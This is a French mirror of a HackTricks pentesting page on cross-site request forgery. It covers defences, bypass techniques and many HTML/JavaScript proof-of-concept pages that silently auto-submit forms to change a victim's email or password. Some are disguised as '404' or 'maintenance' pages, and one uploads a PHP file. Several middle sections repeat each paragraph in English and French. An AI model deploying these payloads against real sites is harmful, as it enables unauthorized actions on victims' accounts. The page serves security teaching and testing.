mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
955 lines
55 KiB
Markdown
955 lines
55 KiB
Markdown
# CSRF (Cross Site Request Forgery)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof est la plateforme des primes de bugs cryptographiques.**
|
||
|
||
**Obtenez des récompenses sans délai**\
|
||
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après vérification du bug.
|
||
|
||
**Acquérez de l'expérience en pentest web3**\
|
||
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
||
|
||
**Devenez une légende du piratage web3**\
|
||
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
||
|
||
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos piratages !
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
## Qu'est-ce que le CSRF ?
|
||
|
||
La **falsification de requête intersite** (également connue sous le nom de CSRF) est une vulnérabilité de sécurité web qui permet à un attaquant d'**inciter les utilisateurs à effectuer des actions qu'ils ne souhaitent pas effectuer**.\
|
||
Cela est réalisé en **faisant accéder un utilisateur connecté** sur la plateforme victime à un site web contrôlé par l'attaquant et à partir de là, **exécuter** du code JS malveillant, envoyer des formulaires ou récupérer des "images" sur le **compte de la victime**.
|
||
|
||
### Prérequis
|
||
|
||
Pour pouvoir exploiter une vulnérabilité CSRF, vous devez d'abord **trouver une action pertinente à exploiter** (changer de mot de passe ou d'adresse e-mail, faire en sorte que la victime vous suive sur un réseau social, vous donner plus de privilèges...). La **session doit reposer uniquement sur les cookies ou l'en-tête d'authentification de base HTTP**, aucun autre en-tête ne peut être utilisé pour gérer la session. Enfin, il ne doit pas y avoir de **paramètres imprévisibles** dans la requête.
|
||
|
||
Plusieurs **contre-mesures** peuvent être mises en place pour éviter cette vulnérabilité.
|
||
|
||
### **Défenses courantes**
|
||
|
||
* [**Cookies SameSite**](hacking-with-cookies/#samesite) : Si le cookie de session utilise ce drapeau, il se peut que vous ne puissiez pas envoyer le cookie à partir de sites web arbitraires.
|
||
* [**Partage des ressources entre origines**](cors-bypass.md) : Selon le type de requête HTTP que vous devez effectuer pour exploiter l'action pertinente, vous pouvez prendre en compte la **politique CORS du site victime**. _Notez que la politique CORS n'affectera pas si vous voulez simplement envoyer une requête GET ou une requête POST à partir d'un formulaire et que vous n'avez pas besoin de lire la réponse._
|
||
* Demandez le **mot de passe** de l'utilisateur pour autoriser l'action.
|
||
* Résolvez un **captcha**.
|
||
* Lisez les en-têtes **Referrer** ou **Origin**. Si une expression régulière est utilisée, elle peut être contournée par exemple avec :
|
||
* http://mal.net?orig=http://example.com (se termine par l'URL)
|
||
* http://example.com.mal.net (commence par l'URL)
|
||
* **Modifiez** le **nom** des **paramètres** de la requête POST ou GET.
|
||
* Utilisez un **jeton CSRF** dans chaque session. Ce jeton doit être envoyé dans la requête pour confirmer l'action. Ce jeton peut être protégé par CORS.
|
||
|
||
### Carte CSRF
|
||
|
||
![](<../.gitbook/assets/image (112).png>)
|
||
|
||
## Contournement des défenses
|
||
|
||
### Du POST au GET
|
||
|
||
Peut-être que le formulaire que vous souhaitez exploiter est préparé pour envoyer une **requête POST avec un jeton CSRF**, mais vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET, le **jeton CSRF est toujours validé**.
|
||
|
||
### Absence de jeton
|
||
|
||
Certaines applications **valident correctement le jeton lorsqu'il est présent mais ignorent la validation si le jeton est omis**.\
|
||
Dans cette situation, l'attaquant peut **supprimer le paramètre entier** contenant le jeton (pas seulement sa valeur) pour contourner la validation et effectuer une attaque CSRF.
|
||
|
||
### Le jeton CSRF n'est pas lié à la session utilisateur
|
||
|
||
Certaines applications ne **vérifient pas que le jeton appartient à la même session** que l'utilisateur qui effectue la requête. Au lieu de cela, l'application **maintient un pool global de jetons** qu'elle a émis et accepte tout jeton qui apparaît dans ce pool.\
|
||
Dans cette situation, l'attaquant peut se connecter à l'application en utilisant son propre compte, **obtenir un jeton valide**, puis **transmettre ce jeton à l'utilisateur victime** dans son attaque CSRF.
|
||
|
||
### Contournement de la méthode
|
||
|
||
Si la requête utilise une méthode "**étrange**", vérifiez si la fonctionnalité de **remplacement de méthode** est active.\
|
||
Par exemple, si elle utilise une méthode **PUT**, vous pouvez essayer d'utiliser une méthode **POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||
|
||
Cela peut également fonctionner en envoyant le **paramètre \_method dans une requête POST** ou en utilisant les **en-têtes** :
|
||
|
||
* _X-HTTP-Method_
|
||
* _X-HTTP-Method-Override_
|
||
* _X-Method-Override_
|
||
### Contournement du jeton d'en-tête personnalisé
|
||
|
||
Si la requête ajoute un **en-tête personnalisé** avec un **jeton** à la requête en tant que méthode de **protection CSRF**, alors :
|
||
|
||
* Testez la requête sans le **jeton personnalisé et également l'en-tête**.
|
||
* Testez la requête avec un **jeton différent mais de même longueur**.
|
||
|
||
### Le jeton CSRF est vérifié par un cookie
|
||
|
||
Dans une variation ultérieure de la vulnérabilité précédente, certaines applications **dupliquent chaque jeton dans un cookie et un paramètre de requête**. Ou elles **définissent un cookie csrf** et **vérifient en arrière-plan si le jeton csrf envoyé correspond à celui lié au cookie**.
|
||
|
||
Lorsque la requête suivante est validée, l'application vérifie simplement que le **jeton** soumis dans le **paramètre de requête correspond** à la valeur stockée par le **cookie**.\
|
||
Dans cette situation, l'attaquant peut à nouveau effectuer une attaque CSRF **si le site web contient une vulnérabilité qui lui permettrait de définir son cookie CSRF sur la victime comme un CRLF**.
|
||
|
||
Dans ce cas, vous pouvez définir le cookie en essayant de charger une fausse image, puis lancer l'attaque CSRF comme dans cet exemple :
|
||
```html
|
||
<html>
|
||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% hint style="info" %}
|
||
Notez que si le jeton csrf est lié au cookie de session, cette attaque ne fonctionnera pas car vous devrez définir votre session en tant que victime, et vous vous attaquerez donc vous-même.
|
||
{% endhint %}
|
||
|
||
### Changement de Content-Type
|
||
|
||
Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), afin d'**éviter les requêtes préliminaires** en utilisant la méthode **POST**, voici les valeurs de Content-Type autorisées :
|
||
|
||
* **`application/x-www-form-urlencoded`**
|
||
* **`multipart/form-data`**
|
||
* **`text/plain`**
|
||
|
||
Cependant, notez que la **logique des serveurs peut varier** en fonction du **Content-Type** utilisé, vous devriez donc essayer les valeurs mentionnées ainsi que d'autres comme **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||
|
||
Exemple (à partir de [ici](https://brycec.me/posts/corctf\_2021\_challenges)) d'envoi de données JSON en tant que text/plain :
|
||
```html
|
||
<html>
|
||
<body>
|
||
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
|
||
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
|
||
</form>
|
||
<script>
|
||
form.submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Contournement de la requête de pré-vérification pour application/json
|
||
|
||
Comme vous le savez déjà, vous ne pouvez pas envoyer une requête POST avec le Content-Type **`application/json`** via un formulaire HTML, et si vous essayez de le faire via **`XMLHttpRequest`**, une requête de pré-vérification est envoyée en premier.\
|
||
Cependant, vous pouvez essayer d'envoyer les données JSON en utilisant les types de contenu **`text/plain`** et **`application/x-www-form-urlencoded`** juste pour vérifier si le backend utilise les données indépendamment du Content-Type.\
|
||
Vous pouvez envoyer un formulaire en utilisant `Content-Type: text/plain` en définissant **`enctype="text/plain"`**
|
||
|
||
Si le serveur n'accepte que le type de contenu "application/json", vous pouvez **envoyer le type de contenu "text/plain; application/json"** sans déclencher de requête de pré-vérification.
|
||
|
||
Vous pouvez également essayer de **contourner** cette restriction en utilisant un fichier SWF flash. Pour plus d'informations, [**lisez cet article**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||
|
||
### Contournement de la vérification du Référent / Origine
|
||
|
||
**Évitez l'en-tête Referer**
|
||
|
||
Certaines applications valident l'en-tête Referer lorsqu'il est présent dans les requêtes, mais **passent outre la validation si l'en-tête est omis**.
|
||
```markup
|
||
<meta name="referrer" content="never">
|
||
```
|
||
**Bypasses Regexp**
|
||
|
||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
Pour définir le nom de domaine du serveur dans l'URL que le Référent va envoyer à l'intérieur des paramètres, vous pouvez faire :
|
||
```html
|
||
<html>
|
||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||
<head><meta name="referrer" content="unsafe-url"></head>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
|
||
<input type="hidden" name="email" value="asd@asd.asd" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
// You need to set this or the domain won't appear in the query of the referer header
|
||
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof est le lieu de tous les programmes de primes pour les bugs de crypto.**
|
||
|
||
**Obtenez des récompenses sans délai**\
|
||
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
|
||
|
||
**Acquérez de l'expérience en pentesting web3**\
|
||
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
||
|
||
**Devenez la légende des hackers web3**\
|
||
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
||
|
||
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
## **Exemples d'exploitation**
|
||
|
||
### **Exfiltration du jeton CSRF**
|
||
|
||
Si un **jeton CSRF** est utilisé comme **défense**, vous pouvez essayer de l'**exfiltrer** en exploitant une vulnérabilité [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
|
||
|
||
### **GET en utilisant des balises HTML**
|
||
```markup
|
||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||
<h1>404 - Page not found</h1>
|
||
The URL you are requesting is no longer available
|
||
```
|
||
D'autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :
|
||
|
||
![](<../.gitbook/assets/image (530).png>)
|
||
|
||
### Requête GET de formulaire
|
||
```markup
|
||
<html>
|
||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form method="GET" action="https://victim.net/email/change-email">
|
||
<input type="hidden" name="email" value="some@email.com" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Requête POST de formulaire
|
||
|
||
A common method used by web applications to send data to the server is through a form POST request. This type of request is commonly used for actions such as submitting a login form, creating a new user account, or updating user information.
|
||
|
||
Une méthode couramment utilisée par les applications web pour envoyer des données au serveur est la requête POST de formulaire. Ce type de requête est généralement utilisé pour des actions telles que la soumission d'un formulaire de connexion, la création d'un nouveau compte utilisateur ou la mise à jour des informations utilisateur.
|
||
|
||
To send a form POST request, the web application typically includes an HTML `<form>` element in the web page. This form element contains input fields where the user can enter data, such as text fields, checkboxes, or dropdown menus. When the user submits the form, the web application collects the data from the form fields and sends it to the server as a POST request.
|
||
|
||
Pour envoyer une requête POST de formulaire, l'application web inclut généralement un élément HTML `<form>` dans la page web. Cet élément de formulaire contient des champs de saisie où l'utilisateur peut entrer des données, tels que des champs de texte, des cases à cocher ou des menus déroulants. Lorsque l'utilisateur soumet le formulaire, l'application web collecte les données des champs de formulaire et les envoie au serveur sous forme de requête POST.
|
||
|
||
The POST request is sent to a specific URL, which is specified in the `action` attribute of the `<form>` element. The server then processes the data sent in the request and performs the appropriate actions based on the application's logic.
|
||
|
||
La requête POST est envoyée à une URL spécifique, qui est spécifiée dans l'attribut `action` de l'élément `<form>`. Le serveur traite ensuite les données envoyées dans la requête et effectue les actions appropriées en fonction de la logique de l'application.
|
||
|
||
It's important to note that form POST requests can be vulnerable to Cross-Site Request Forgery (CSRF) attacks. In a CSRF attack, an attacker tricks a user into unknowingly submitting a form on a target website, which can lead to unauthorized actions being performed on the user's behalf. Web developers should implement countermeasures, such as CSRF tokens, to protect against these types of attacks.
|
||
|
||
Il est important de noter que les requêtes POST de formulaire peuvent être vulnérables aux attaques de falsification de requête intersite (CSRF). Dans une attaque CSRF, un attaquant trompe un utilisateur en le faisant soumettre involontairement un formulaire sur un site cible, ce qui peut entraîner l'exécution d'actions non autorisées au nom de l'utilisateur. Les développeurs web doivent mettre en place des contre-mesures, telles que des jetons CSRF, pour se protéger contre ce type d'attaques.
|
||
```markup
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
|
||
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
|
||
<input type="submit" value="Submit request" />
|
||
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit(); //Way 3 to autosubmit
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Requête POST de formulaire via iframe
|
||
|
||
One common technique used in Cross-Site Request Forgery (CSRF) attacks is to submit a form through an iframe. This technique allows an attacker to trick a user into unknowingly submitting a form on a vulnerable website.
|
||
|
||
Une technique couramment utilisée dans les attaques de falsification de requêtes intersites (CSRF) consiste à soumettre un formulaire via un iframe. Cette technique permet à un attaquant de tromper un utilisateur en lui faisant soumettre un formulaire sur un site vulnérable sans qu'il le sache.
|
||
|
||
To perform this attack, the attacker creates a malicious webpage that contains an iframe pointing to the target website's form. The form is pre-filled with the desired values, and JavaScript is used to automatically submit the form when the iframe loads.
|
||
|
||
Pour effectuer cette attaque, l'attaquant crée une page web malveillante contenant un iframe pointant vers le formulaire du site cible. Le formulaire est pré-rempli avec les valeurs souhaitées, et JavaScript est utilisé pour soumettre automatiquement le formulaire lorsque l'iframe se charge.
|
||
|
||
When the victim visits the malicious webpage, the iframe loads the target website's form and submits it without the victim's knowledge. This allows the attacker to perform actions on behalf of the victim, such as changing their password or making unauthorized transactions.
|
||
|
||
Lorsque la victime visite la page web malveillante, l'iframe charge le formulaire du site cible et le soumet sans que la victime le sache. Cela permet à l'attaquant d'effectuer des actions au nom de la victime, telles que changer son mot de passe ou effectuer des transactions non autorisées.
|
||
|
||
To protect against this type of attack, websites should implement measures such as using anti-CSRF tokens, validating the referrer header, and implementing strict access controls.
|
||
|
||
Pour se protéger contre ce type d'attaque, les sites web doivent mettre en place des mesures telles que l'utilisation de jetons anti-CSRF, la validation de l'en-tête referrer et la mise en place de contrôles d'accès stricts.
|
||
```markup
|
||
<!--
|
||
The request is sent through the iframe withuot reloading the page
|
||
-->
|
||
<html>
|
||
<body>
|
||
<iframe style="display:none" name="csrfframe"></iframe>
|
||
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
|
||
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
### **Requête POST Ajax**
|
||
|
||
An Ajax POST request is a type of HTTP request that is sent asynchronously from a web page to a server using the Ajax technology. It allows the web page to send data to the server and receive a response without having to reload the entire page.
|
||
|
||
Une requête POST Ajax est un type de requête HTTP qui est envoyée de manière asynchrone depuis une page web vers un serveur en utilisant la technologie Ajax. Elle permet à la page web d'envoyer des données au serveur et de recevoir une réponse sans avoir à recharger la page entière.
|
||
|
||
```javascript
|
||
$.ajax({
|
||
url: '/api/endpoint',
|
||
type: 'POST',
|
||
data: {
|
||
param1: 'value1',
|
||
param2: 'value2'
|
||
},
|
||
success: function(response) {
|
||
console.log(response);
|
||
},
|
||
error: function(error) {
|
||
console.log(error);
|
||
}
|
||
});
|
||
```
|
||
|
||
```javascript
|
||
$.ajax({
|
||
url: '/api/endpoint',
|
||
type: 'POST',
|
||
data: {
|
||
param1: 'valeur1',
|
||
param2: 'valeur2'
|
||
},
|
||
success: function(response) {
|
||
console.log(response);
|
||
},
|
||
error: function(error) {
|
||
console.log(error);
|
||
}
|
||
});
|
||
```
|
||
|
||
In the example above, an Ajax POST request is made to the `/api/endpoint` URL with two parameters (`param1` and `param2`) and their corresponding values (`value1` and `value2`). The `success` function is called when the request is successful and the `error` function is called when an error occurs.
|
||
|
||
Dans l'exemple ci-dessus, une requête POST Ajax est effectuée vers l'URL `/api/endpoint` avec deux paramètres (`param1` et `param2`) et leurs valeurs correspondantes (`valeur1` et `valeur2`). La fonction `success` est appelée lorsque la requête est réussie et la fonction `error` est appelée en cas d'erreur.
|
||
```markup
|
||
<script>
|
||
var xh;
|
||
if (window.XMLHttpRequest)
|
||
{// code for IE7+, Firefox, Chrome, Opera, Safari
|
||
xh=new XMLHttpRequest();
|
||
}
|
||
else
|
||
{// code for IE6, IE5
|
||
xh=new ActiveXObject("Microsoft.XMLHTTP");
|
||
}
|
||
xh.withCredentials = true;
|
||
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
|
||
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
|
||
xh.send("username=abcd&status=on");
|
||
</script>
|
||
|
||
<script>
|
||
//JQuery version
|
||
$.ajax({
|
||
type: "POST",
|
||
url: "https://google.com",
|
||
data: "param=value¶m2=value2"
|
||
})
|
||
</script>
|
||
```
|
||
### Requête POST multipart/form-data
|
||
|
||
When submitting a form on a website, the data is typically sent using the `application/x-www-form-urlencoded` content type. However, in some cases, the form may require file uploads or other binary data. In such scenarios, the `multipart/form-data` content type is used.
|
||
|
||
Lors de la soumission d'un formulaire sur un site web, les données sont généralement envoyées en utilisant le type de contenu `application/x-www-form-urlencoded`. Cependant, dans certains cas, le formulaire peut nécessiter des téléchargements de fichiers ou d'autres données binaires. Dans de tels scénarios, le type de contenu `multipart/form-data` est utilisé.
|
||
|
||
To craft a `multipart/form-data` POST request, the request body is divided into multiple parts, each containing a separate piece of data. Each part is identified by a unique boundary string, which is specified in the `Content-Type` header.
|
||
|
||
Pour créer une requête POST `multipart/form-data`, le corps de la requête est divisé en plusieurs parties, chacune contenant une donnée distincte. Chaque partie est identifiée par une chaîne de délimitation unique, qui est spécifiée dans l'en-tête `Content-Type`.
|
||
|
||
Each part consists of a header and a body. The header contains metadata about the part, such as the name of the form field or the filename of the uploaded file. The body contains the actual data.
|
||
|
||
Chaque partie est composée d'un en-tête et d'un corps. L'en-tête contient des métadonnées sur la partie, telles que le nom du champ de formulaire ou le nom du fichier téléchargé. Le corps contient les données réelles.
|
||
|
||
Here is an example of a `multipart/form-data` POST request:
|
||
|
||
Voici un exemple de requête POST `multipart/form-data` :
|
||
|
||
```http
|
||
POST /upload HTTP/1.1
|
||
Host: example.com
|
||
Content-Type: multipart/form-data; boundary=---------------------------1234567890
|
||
|
||
-----------------------------1234567890
|
||
Content-Disposition: form-data; name="username"
|
||
|
||
john.doe
|
||
-----------------------------1234567890
|
||
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
|
||
Content-Type: image/jpeg
|
||
|
||
[Binary data of the image]
|
||
-----------------------------1234567890--
|
||
```
|
||
|
||
In this example, the request body is divided into two parts. The first part contains the value of the `username` form field, while the second part contains the uploaded `profile_picture` file.
|
||
|
||
Dans cet exemple, le corps de la requête est divisé en deux parties. La première partie contient la valeur du champ de formulaire `username`, tandis que la deuxième partie contient le fichier téléchargé `profile_picture`.
|
||
|
||
When performing security testing or penetration testing, it is important to understand how to construct and manipulate `multipart/form-data` requests, as they are commonly used in web applications.
|
||
|
||
Lors de tests de sécurité ou de tests de pénétration, il est important de comprendre comment construire et manipuler des requêtes `multipart/form-data`, car elles sont couramment utilisées dans les applications web.
|
||
```javascript
|
||
myFormData = new FormData();
|
||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||
myFormData.append("newAttachment", blob, "pwned.php");
|
||
fetch("http://example/some/path", {
|
||
method: "post",
|
||
body: myFormData,
|
||
credentials: "include",
|
||
headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
||
mode: "no-cors"
|
||
});
|
||
```
|
||
### Requête POST multipart/form-data v2
|
||
|
||
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request.
|
||
|
||
Dans cette technique, nous allons explorer comment effectuer une attaque de type Cross-Site Request Forgery (CSRF) en utilisant une requête POST multipart/form-data.
|
||
|
||
#### Introduction
|
||
|
||
CSRF is an attack that tricks the victim into submitting a malicious request. It occurs when a malicious website or application forces a user's browser to perform an unwanted action on a trusted website where the user is authenticated.
|
||
|
||
Le CSRF est une attaque qui trompe la victime en lui faisant soumettre une requête malveillante. Elle se produit lorsque un site web ou une application malveillante force le navigateur de l'utilisateur à effectuer une action non désirée sur un site web de confiance où l'utilisateur est authentifié.
|
||
|
||
#### Exploiting CSRF using multipart/form-data POST request
|
||
|
||
To exploit CSRF using a multipart/form-data POST request, follow these steps:
|
||
|
||
Pour exploiter le CSRF en utilisant une requête POST multipart/form-data, suivez ces étapes :
|
||
|
||
1. Identify the target website: Choose the website where you want to perform the CSRF attack.
|
||
|
||
1. Identifier le site cible : Choisissez le site web sur lequel vous souhaitez effectuer l'attaque CSRF.
|
||
|
||
2. Identify the target form: Identify the form on the target website that you want to submit malicious data to.
|
||
|
||
2. Identifier le formulaire cible : Identifiez le formulaire sur le site cible auquel vous souhaitez soumettre des données malveillantes.
|
||
|
||
3. Craft the malicious request: Create a new HTML page or modify an existing one to include a form that mimics the target form. Set the form's action attribute to the target website's URL and set the method attribute to "POST". Add the necessary form fields and values to submit the desired malicious data.
|
||
|
||
3. Créer la requête malveillante : Créez une nouvelle page HTML ou modifiez une page existante pour inclure un formulaire qui imite le formulaire cible. Définissez l'attribut action du formulaire sur l'URL du site cible et définissez l'attribut method sur "POST". Ajoutez les champs et les valeurs nécessaires pour soumettre les données malveillantes souhaitées.
|
||
|
||
4. Submit the malicious request: Host the malicious HTML page on a web server and trick the victim into visiting the page. When the victim submits the form, the malicious request will be sent to the target website, performing the CSRF attack.
|
||
|
||
4. Soumettre la requête malveillante : Hébergez la page HTML malveillante sur un serveur web et trompez la victime pour qu'elle visite la page. Lorsque la victime soumet le formulaire, la requête malveillante sera envoyée au site cible, effectuant ainsi l'attaque CSRF.
|
||
|
||
#### Conclusion
|
||
|
||
By exploiting CSRF using a multipart/form-data POST request, an attacker can trick users into performing unintended actions on trusted websites. It is important for website developers to implement proper CSRF protection mechanisms to prevent such attacks.
|
||
|
||
En exploitant le CSRF en utilisant une requête POST multipart/form-data, un attaquant peut tromper les utilisateurs pour qu'ils effectuent des actions non intentionnelles sur des sites web de confiance. Il est important que les développeurs de sites web mettent en place des mécanismes de protection CSRF appropriés pour prévenir de telles attaques.
|
||
```javascript
|
||
var fileSize = fileData.length,
|
||
boundary = "OWNEDBYOFFSEC",
|
||
xhr = new XMLHttpRequest();
|
||
xhr.withCredentials = true;
|
||
xhr.open("POST", url, true);
|
||
// MIME POST request.
|
||
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
||
xhr.setRequestHeader("Content-Length", fileSize);
|
||
var body = "--" + boundary + "\r\n";
|
||
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
|
||
body += "Content-Type: " + ctype + "\r\n\r\n";
|
||
body += fileData + "\r\n";
|
||
body += "--" + boundary + "--";
|
||
|
||
//xhr.send(body);
|
||
xhr.sendAsBinary(body);
|
||
```
|
||
### Requête POST de formulaire à partir d'un iframe
|
||
|
||
In some cases, you may encounter a scenario where you need to submit a form from within an iframe. This can be useful when you want to perform a Cross-Site Request Forgery (CSRF) attack.
|
||
|
||
Dans certains cas, vous pouvez rencontrer un scénario où vous devez soumettre un formulaire à partir d'un iframe. Cela peut être utile lorsque vous souhaitez effectuer une attaque de falsification de requête intersite (CSRF).
|
||
|
||
To achieve this, you can use JavaScript to programmatically submit the form. Here's an example of how you can accomplish this:
|
||
|
||
Pour y parvenir, vous pouvez utiliser JavaScript pour soumettre le formulaire de manière programmée. Voici un exemple de la façon dont vous pouvez y parvenir :
|
||
|
||
```html
|
||
<iframe id="csrf-iframe" src="https://www.example.com"></iframe>
|
||
|
||
<script>
|
||
// Get the iframe element
|
||
var iframe = document.getElementById('csrf-iframe');
|
||
|
||
// Wait for the iframe to load
|
||
iframe.onload = function() {
|
||
// Access the form within the iframe
|
||
var form = iframe.contentDocument.getElementById('csrf-form');
|
||
|
||
// Submit the form
|
||
form.submit();
|
||
};
|
||
</script>
|
||
```
|
||
|
||
```html
|
||
<iframe id="csrf-iframe" src="https://www.example.com"></iframe>
|
||
|
||
<script>
|
||
// Obtenez l'élément iframe
|
||
var iframe = document.getElementById('csrf-iframe');
|
||
|
||
// Attendez que l'iframe se charge
|
||
iframe.onload = function() {
|
||
// Accédez au formulaire dans l'iframe
|
||
var form = iframe.contentDocument.getElementById('csrf-form');
|
||
|
||
// Soumettez le formulaire
|
||
form.submit();
|
||
};
|
||
</script>
|
||
```
|
||
|
||
In this example, we have an iframe with the ID "csrf-iframe" that loads a webpage from "https://www.example.com". Inside the iframe, there is a form with the ID "csrf-form" that we want to submit.
|
||
|
||
Dans cet exemple, nous avons un iframe avec l'ID "csrf-iframe" qui charge une page Web à partir de "https://www.example.com". À l'intérieur de l'iframe, il y a un formulaire avec l'ID "csrf-form" que nous voulons soumettre.
|
||
|
||
By accessing the iframe's content document, we can manipulate the form and submit it programmatically. This allows us to perform a CSRF attack by automatically submitting the form without the user's knowledge or consent.
|
||
|
||
En accédant au document de contenu de l'iframe, nous pouvons manipuler le formulaire et le soumettre de manière programmée. Cela nous permet d'effectuer une attaque CSRF en soumettant automatiquement le formulaire sans la connaissance ou le consentement de l'utilisateur.
|
||
```markup
|
||
<--! expl.html -->
|
||
|
||
<body onload="envia()">
|
||
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
|
||
<input type="text" id="pwd" name="pwd" value="otra nueva">
|
||
</form>
|
||
<body>
|
||
<script>
|
||
function envia(){document.getElementById("formulario").submit();}
|
||
</script>
|
||
|
||
<!-- public.html -->
|
||
<iframe src="2-1.html" style="position:absolute;top:-5000">
|
||
</iframe>
|
||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
